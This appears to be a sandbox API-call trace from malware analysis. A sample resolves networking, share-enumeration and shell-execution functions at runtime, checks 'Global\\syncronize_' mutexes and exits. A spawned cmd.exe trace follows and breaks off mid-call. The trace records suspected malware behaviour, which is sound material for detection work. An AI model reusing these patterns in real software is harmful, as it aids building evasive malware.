[0157.477] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x74ae0000 [0157.513] GetProcAddress (hModule=0x74ae0000, lpProcName="ShellExecuteExW") returned 0x74c44730 [0157.513] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x77870000 [0157.513] GetProcAddress (hModule=0x77870000, lpProcName="NtQuerySystemInformation") returned 0x778e2070 [0157.514] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x74270000 [0157.847] GetProcAddress (hModule=0x74270000, lpProcName="WNetCloseEnum") returned 0x74272640 [0157.847] GetProcAddress (hModule=0x74270000, lpProcName="WNetOpenEnumW") returned 0x74272790 [0157.848] GetProcAddress (hModule=0x74270000, lpProcName="WNetEnumResourceW") returned 0x74272410 [0157.848] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x76cc0000 [0157.851] GetProcAddress (hModule=0x76cc0000, lpProcName="WSAStartup") returned 0x76cc5b40 [0157.852] GetProcAddress (hModule=0x76cc0000, lpProcName="socket") returned 0x76cd4510 [0157.852] GetProcAddress (hModule=0x76cc0000, lpProcName="send") returned 0x76cc5030 [0157.852] GetProcAddress (hModule=0x76cc0000, lpProcName="recv") returned 0x76cd0c50 [0157.852] GetProcAddress (hModule=0x76cc0000, lpProcName="connect") returned 0x76cc5410 [0157.852] GetProcAddress (hModule=0x76cc0000, lpProcName="closesocket") returned 0x76cd0910 [0157.852] GetProcAddress (hModule=0x76cc0000, lpProcName="gethostbyname") returned 0x76cf6cb0 [0157.852] GetProcAddress (hModule=0x76cc0000, lpProcName="inet_addr") returned 0x76cd9160 [0157.852] GetProcAddress (hModule=0x76cc0000, lpProcName="ntohl") returned 0x76cc49d0 [0157.852] GetProcAddress (hModule=0x76cc0000, lpProcName="htonl") returned 0x76cc49d0 [0157.853] GetProcAddress (hModule=0x76cc0000, lpProcName="htons") returned 0x76cd8ff0 [0157.853] GetProcessHeap () returned 0x780000 [0157.853] RtlAllocateHeap (HeapHandle=0x780000, Flags=0x0, Size=0x20) returned 0x78b228 [0157.853] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=7529726607) returned 1 [0157.853] GetTickCount () returned 0x12601 [0157.853] GetCurrentProcessId () returned 0xde4 [0157.855] GetTickCount () returned 0x12601 [0157.855] GetTickCount () returned 0x12601 [0157.855] RtlAllocateHeap (HeapHandle=0x780000, Flags=0x0, Size=0x20) returned 0x78af30 [0157.856] GetVersion () returned 0x23f00206 [0157.856] RtlAllocateHeap (HeapHandle=0x780000, Flags=0x0, Size=0x7) returned 0x796f30 [0157.856] RtlAllocateHeap (HeapHandle=0x780000, Flags=0x0, Size=0x10) returned 0x797ea8 [0157.856] RtlReAllocateHeap (Heap=0x780000, Flags=0x0, Ptr=0x797ea8, Size=0x20) returned 0x78b110 [0157.856] RtlReAllocateHeap (Heap=0x780000, Flags=0x0, Ptr=0x78b110, Size=0x40) returned 0x7979d0 [0157.856] RtlAllocateHeap (HeapHandle=0x780000, Flags=0x0, Size=0xfffe) returned 0x79e3f8 [0157.856] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_8B9U41A") returned 0x1ec [0157.856] HeapFree (in: hHeap=0x780000, dwFlags=0x0, lpMem=0x796f30 | out: hHeap=0x780000) returned 1 [0157.856] lstrlenW (lpString="Global\\syncronize_") returned 18 [0157.856] HeapFree (in: hHeap=0x780000, dwFlags=0x0, lpMem=0x7979d0 | out: hHeap=0x780000) returned 1 [0157.856] RtlAllocateHeap (HeapHandle=0x780000, Flags=0x0, Size=0x7) returned 0x797000 [0157.856] RtlAllocateHeap (HeapHandle=0x780000, Flags=0x0, Size=0x10) returned 0x7980d0 [0157.857] RtlReAllocateHeap (Heap=0x780000, Flags=0x0, Ptr=0x7980d0, Size=0x20) returned 0x78b110 [0157.857] RtlReAllocateHeap (Heap=0x780000, Flags=0x0, Ptr=0x78b110, Size=0x40) returned 0x797508 [0157.857] RtlAllocateHeap (HeapHandle=0x780000, Flags=0x0, Size=0xfffe) returned 0x7ae400 [0157.857] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_8B9U41U") returned 0x1f0 [0157.857] HeapFree (in: hHeap=0x780000, dwFlags=0x0, lpMem=0x797000 | out: hHeap=0x780000) returned 1 [0157.857] lstrlenW (lpString="Global\\syncronize_") returned 18 [0157.857] HeapFree (in: hHeap=0x780000, dwFlags=0x0, lpMem=0x797508 | out: hHeap=0x780000) returned 1 [0157.857] GetVersion () returned 0x23f00206 [0157.857] GetCurrentProcess () returned 0xffffffff [0157.857] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0157.857] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0157.857] CloseHandle (hObject=0x1f4) returned 1 [0157.857] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x102 [0157.858] ExitProcess (uExitCode=0x0) Thread: id = 32 os_tid = 0xdec Process: id = "7" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x36781000" os_pid = "0xdf0" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xdd8" cmd_line = "\"C:\\WINDOWS\\system32\\cmd.exe\"" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "64" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010abc" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 33 os_tid = 0xdf4 [0162.020] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff75f4b0000 [0162.021] __set_app_type (_Type=0x1) [0162.021] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff75f4c6d00) returned 0x0 [0162.021] __getmainargs (in: _Argc=0x7ff75f4e9200, _Argv=0x7ff75f4e9208, _Env=0x7ff75f4e9210, _DoWildCard=0, _StartInfo=0x7ff75f4e921c | out: _Argc=0x7ff75f4e9200, _Argv=0x7ff75f4e9208, _Env=0x7ff75f4e9210) returned 0 [0162.021] _onexit (_Func=0x7ff75f4c7fd0) returned 0x7ff75f4c7fd0 [0162.021] _onexit (_Func=0x7ff75f4c7fe0) returned 0x7ff75f4c7fe0 [0162.021] _onexit (_Func=0x7ff75f4c7ff0) returned 0x7ff75f4c7ff0 [0162.021] _onexit (_Func=0x7ff75f4c8000) returned 0x7ff75f4c8000 [0162.022] _onexit (_Func=0x7ff75f4c8010) returned 0x7ff75f4c8010 [0162.022] _onexit (_Func=0x7ff75f4c8020) returned 0x7ff75f4c8020 [0162.023] GetCurrentThreadId () returned 0xdf4 [0162.023] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xdf4) returned 0x70 [0162.023] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7fff67790000 [0162.023] GetProcAddress (hModule=0x7fff67790000, lpProcName="SetThreadUILanguage") returned 0x7fff677aa990 [0162.023] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.832] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0162.832] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2a3676f768 | out: phkResult=0x2a3676f768*=0x0) returned 0x2 [0162.832] VirtualQuery (in: lpAddress=0x2a3676f754, lpBuffer=0x2a3676f6d0, dwLength=0x30 | out: lpBuffer=0x2a3676f6d0*(BaseAddress=0x2a3676f000, AllocationBase=0x2a36670000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0162.832] VirtualQuery (in: lpAddress=0x2a36670000, lpBuffer=0x2a3676f6d0, dwLength=0x30 | out: lpBuffer=0x2a3676f6d0*(BaseAddress=0x2a36670000, AllocationBase=0x2a36670000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0162.832] VirtualQuery (in: lpAddress=0x2a36671000, lpBuffer=0x2a3676f6d0, dwLength=0x30 | out: lpBuffer=0x2a3676f6d0*(BaseAddress=0x2a36671000, AllocationBase=0x2a36670000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0162.832] VirtualQuery (in: lpAddress=0x2a36674000, lpBuffer=0x2a3676f6d0, dwLength=0x30 | out: lpBuffer=0x2a3676f6d0*(BaseAddress=0x2a36674000, AllocationBase=0x2a36670000, AllocationProtect=0x4, __alignment1=0xffffb18a, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0162.832] VirtualQuery (in: lpAddress=0x2a36770000, lpBuffer=0x2a3676f6d0, dwLength=0x30 | out: lpBuffer=0x2a3676f6d0*(BaseAddress=0x2a36770000, AllocationBase=0x0, AllocationProtect=0x0, __alignment1=0xffffb18a, RegionSize=0x90000, State=0x10000, Protect=0x1, Type=0x0, __alignment2=0x0)) returned 0x30 [0162.832] GetConsoleOutputCP () returned 0x1b5 [0163.506] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75f4efbb0 | out: lpCPInfo=0x7ff75f4efbb0) returned 1 [0163.506] SetConsoleCtrlHandler (HandlerRoutine=0x7ff75f4d8150, Add=1) returned 1 [0163.506] _get_osfhandle (_FileHandle=1) returned 0x254 [0163.507] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff75f4efc04 | out: lpMode=0x7ff75f4efc04) returned 0 [0163.507] _get_osfhandle (_FileHandle=0) returned 0x248 [0163.507] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff75f4efc00 | out: lpMode=0x7ff75f4efc00) returned 0 [0163.507] _get_osfhandle (_FileHandle=1) returned 0x254 [0163.507] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0163.507] _get_osfhandle (_FileHandle=1) returned 0x254 [0163.507] GetConsoleMode (in: hConsoleHandle=0x254, lpMode=0x7ff75f4efc08 | out: lpMode=0x7ff75f4efc08) returned 0 [0163.507] _get_osfhandle (_FileHandle=0) returned 0x248 [0163.507] GetConsoleMode (in: hConsoleHandle=0x248, lpMode=0x7ff75f4efc0c | out: lpMode=0x7ff75f4efc0c) returned 0 [0163.507] GetEnvironmentStringsW () returned 0x20e9d8f5a40* [0163.507] GetProcessHeap () returned 0x20e9d8f0000 [0163.508] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xab6) returned 0x20e9d8f6500 [0163.508] FreeEnvironmentStringsA (penv="=") returned 1 [0163.508] GetProcessHeap () returned 0x20e9d8f0000 [0163.508] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x8) returned 0x20e9d8f5a40 [0163.508] GetEnvironmentStringsW () returned 0x20e9d8f6fd0* [0163.508] GetProcessHeap () returned 0x20e9d8f0000 [0163.508] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xab6) returned 0x20e9d8f7a90 [0163.508] FreeEnvironmentStringsA (penv="=") returned 1 [0163.508] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2a3676e618 | out: phkResult=0x2a3676e618*=0x7c) returned 0x0 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x0, lpData=0x2a3676e630*=0x4, lpcbData=0x2a3676e614*=0x1000) returned 0x2 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x4, lpData=0x2a3676e630*=0x1, lpcbData=0x2a3676e614*=0x4) returned 0x0 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x0, lpData=0x2a3676e630*=0x1, lpcbData=0x2a3676e614*=0x1000) returned 0x2 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x4, lpData=0x2a3676e630*=0x0, lpcbData=0x2a3676e614*=0x4) returned 0x0 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x4, lpData=0x2a3676e630*=0x40, lpcbData=0x2a3676e614*=0x4) returned 0x0 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x4, lpData=0x2a3676e630*=0x40, lpcbData=0x2a3676e614*=0x4) returned 0x0 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x0, lpData=0x2a3676e630*=0x40, lpcbData=0x2a3676e614*=0x1000) returned 0x2 [0163.509] RegCloseKey (hKey=0x7c) returned 0x0 [0163.509] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2a3676e618 | out: phkResult=0x2a3676e618*=0x7c) returned 0x0 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x0, lpData=0x2a3676e630*=0x40, lpcbData=0x2a3676e614*=0x1000) returned 0x2 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x4, lpData=0x2a3676e630*=0x1, lpcbData=0x2a3676e614*=0x4) returned 0x0 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x0, lpData=0x2a3676e630*=0x1, lpcbData=0x2a3676e614*=0x1000) returned 0x2 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x4, lpData=0x2a3676e630*=0x0, lpcbData=0x2a3676e614*=0x4) returned 0x0 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x4, lpData=0x2a3676e630*=0x9, lpcbData=0x2a3676e614*=0x4) returned 0x0 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x4, lpData=0x2a3676e630*=0x9, lpcbData=0x2a3676e614*=0x4) returned 0x0 [0163.509] RegQueryValueExW (in: hKey=0x7c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2a3676e610, lpData=0x2a3676e630, lpcbData=0x2a3676e614*=0x1000 | out: lpType=0x2a3676e610*=0x0, lpData=0x2a3676e630*=0x9, lpcbData=0x2a3676e614*=0x1000) returned 0x2 [0163.509] RegCloseKey (hKey=0x7c) returned 0x0 [0163.509] time (in: timer=0x0 | out: timer=0x0) returned 0x5d236444 [0163.509] srand (_Seed=0x5d236444) [0163.510] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0163.510] malloc (_Size=0x4000) returned 0x20e9dcb5530 [0163.510] GetCommandLineW () returned="\"C:\\WINDOWS\\system32\\cmd.exe\"" [0163.510] malloc (_Size=0xffce) returned 0x20e9dac0080 [0163.511] ??_V@YAXPEAX@Z () returned 0x20e9dac0080 [0163.512] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20e9dac0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0163.512] malloc (_Size=0xffce) returned 0x20e9dad0060 [0163.512] ??_V@YAXPEAX@Z () returned 0x20e9dad0060 [0163.513] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x20e9dad0060, nSize=0x7fe7 | out: lpFilename="C:\\WINDOWS\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0163.514] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps;") returned 0xbc [0163.514] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0163.514] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0163.514] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0163.514] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0163.514] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0163.514] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0163.514] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0163.514] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0163.514] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0163.514] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0163.514] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0163.515] GetProcessHeap () returned 0x20e9d8f0000 [0163.515] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f6500) returned 1 [0163.515] GetEnvironmentStringsW () returned 0x20e9d8f5a60* [0163.515] GetProcessHeap () returned 0x20e9d8f0000 [0163.515] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xace) returned 0x20e9d8f6540 [0163.515] FreeEnvironmentStringsA (penv="=") returned 1 [0163.515] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1b [0163.515] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x7ff75f4ebb90, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0163.515] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0163.515] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0163.515] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0163.515] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0163.515] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0163.515] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0163.515] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0163.515] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0163.515] malloc (_Size=0xffce) returned 0x20e9dae0040 [0163.516] ??_V@YAXPEAX@Z () returned 0x20e9dae0040 [0163.517] GetProcessHeap () returned 0x20e9d8f0000 [0163.517] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x38) returned 0x20e9d8f8580 [0163.517] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20e9dae0040 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0163.517] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x7fe7, lpBuffer=0x20e9dae0040, lpFilePart=0x2a3676f190 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x2a3676f190*="system32") returned 0x13 [0163.517] GetFileAttributesW (lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0163.518] FindFirstFileW (in: lpFileName="C:\\WINDOWS", lpFindFileData=0x2a3676eec0 | out: lpFindFileData=0x2a3676eec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0x20e9d8f85c0 [0163.518] FindClose (in: hFindFile=0x20e9d8f85c0 | out: hFindFile=0x20e9d8f85c0) returned 1 [0163.518] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x2a3676eec0 | out: lpFindFileData=0x2a3676eec0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x3eab335, ftLastAccessTime.dwHighDateTime=0x1d5359b, ftLastWriteTime.dwLowDateTime=0x3eab335, ftLastWriteTime.dwHighDateTime=0x1d5359b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System32", cAlternateFileName="")) returned 0x20e9d8f85c0 [0163.518] FindClose (in: hFindFile=0x20e9d8f85c0 | out: hFindFile=0x20e9d8f85c0) returned 1 [0163.518] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0163.518] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0163.518] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0163.519] GetProcessHeap () returned 0x20e9d8f0000 [0163.519] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f6540) returned 1 [0163.519] GetEnvironmentStringsW () returned 0x20e9d8f5a60* [0163.519] GetProcessHeap () returned 0x20e9d8f0000 [0163.519] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0xafe) returned 0x20e9d8f6570 [0163.519] FreeEnvironmentStringsA (penv="=") returned 1 [0163.519] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20e9dac0080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0163.519] GetProcessHeap () returned 0x20e9d8f0000 [0163.519] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f8580) returned 1 [0163.519] ??_V@YAXPEAX@Z () returned 0x1 [0163.519] ??_V@YAXPEAX@Z () returned 0x1 [0163.519] GetProcessHeap () returned 0x20e9d8f0000 [0163.519] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x8, Size=0x4016) returned 0x20e9d8f8580 [0163.520] GetProcessHeap () returned 0x20e9d8f0000 [0163.520] RtlFreeHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, BaseAddress=0x20e9d8f8580) returned 1 [0163.520] GetConsoleOutputCP () returned 0x1b5 [0163.879] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff75f4efbb0 | out: lpCPInfo=0x7ff75f4efbb0) returned 1 [0163.879] GetUserDefaultLCID () returned 0x409 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff75f4ebb78, cchData=8 | out: lpLCData=":") returned 2 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2a3676f550, cchData=128 | out: lpLCData="0") returned 2 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2a3676f550, cchData=128 | out: lpLCData="0") returned 2 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2a3676f550, cchData=128 | out: lpLCData="1") returned 2 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff75f4ebb68, cchData=8 | out: lpLCData="/") returned 2 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff75f4ebb00, cchData=32 | out: lpLCData="Mon") returned 4 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff75f4ebac0, cchData=32 | out: lpLCData="Tue") returned 4 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff75f4eba80, cchData=32 | out: lpLCData="Wed") returned 4 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff75f4eba40, cchData=32 | out: lpLCData="Thu") returned 4 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff75f4eba00, cchData=32 | out: lpLCData="Fri") returned 4 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff75f4eb9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff75f4eb980, cchData=32 | out: lpLCData="Sun") returned 4 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff75f4ebb58, cchData=8 | out: lpLCData=".") returned 2 [0163.880] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff75f4ebb40, cchData=8 | out: lpLCData=",") returned 2 [0163.881] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0163.883] GetProcessHeap () returned 0x20e9d8f0000 [0163.883] RtlAllocateHeap (HeapHandle=0x20e9d8f0000, Flags=0x0, Size=0x20c) returned 0x20e9d8f70f0 [0163.883] GetConsoleTitleW (in: lpConsoleTitle=0x20e9d8f70f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0164.137] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.138] GetFileType (hFile=0x254) returned 0x3 [0164.139] ApiSetQueryApiSetPresence () returned 0x0 [0164.139] ResolveDelayLoadedAPI () returned 0x7fff5d07d990 [0164.158] BrandingFormatString () returned 0x20e9d8f62f0 [0164.180] GetVersion () returned 0x3ad7000a [0164.180] _vsnwprintf (in: _Buffer=0x2a3676f6b0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x2a3676f648 | out: _Buffer="10.0.15063") returned 10 [0164.180] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.180] GetFileType (hFile=0x254) returned 0x3 [0164.180] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff75f4f7f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0164.181] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff75f4f7f60, nSize=0x2000, Arguments=0x2a3676f650 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0164.181] _get_osfhandle (_FileHandle=1) returned 0x254 [0164.181] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, 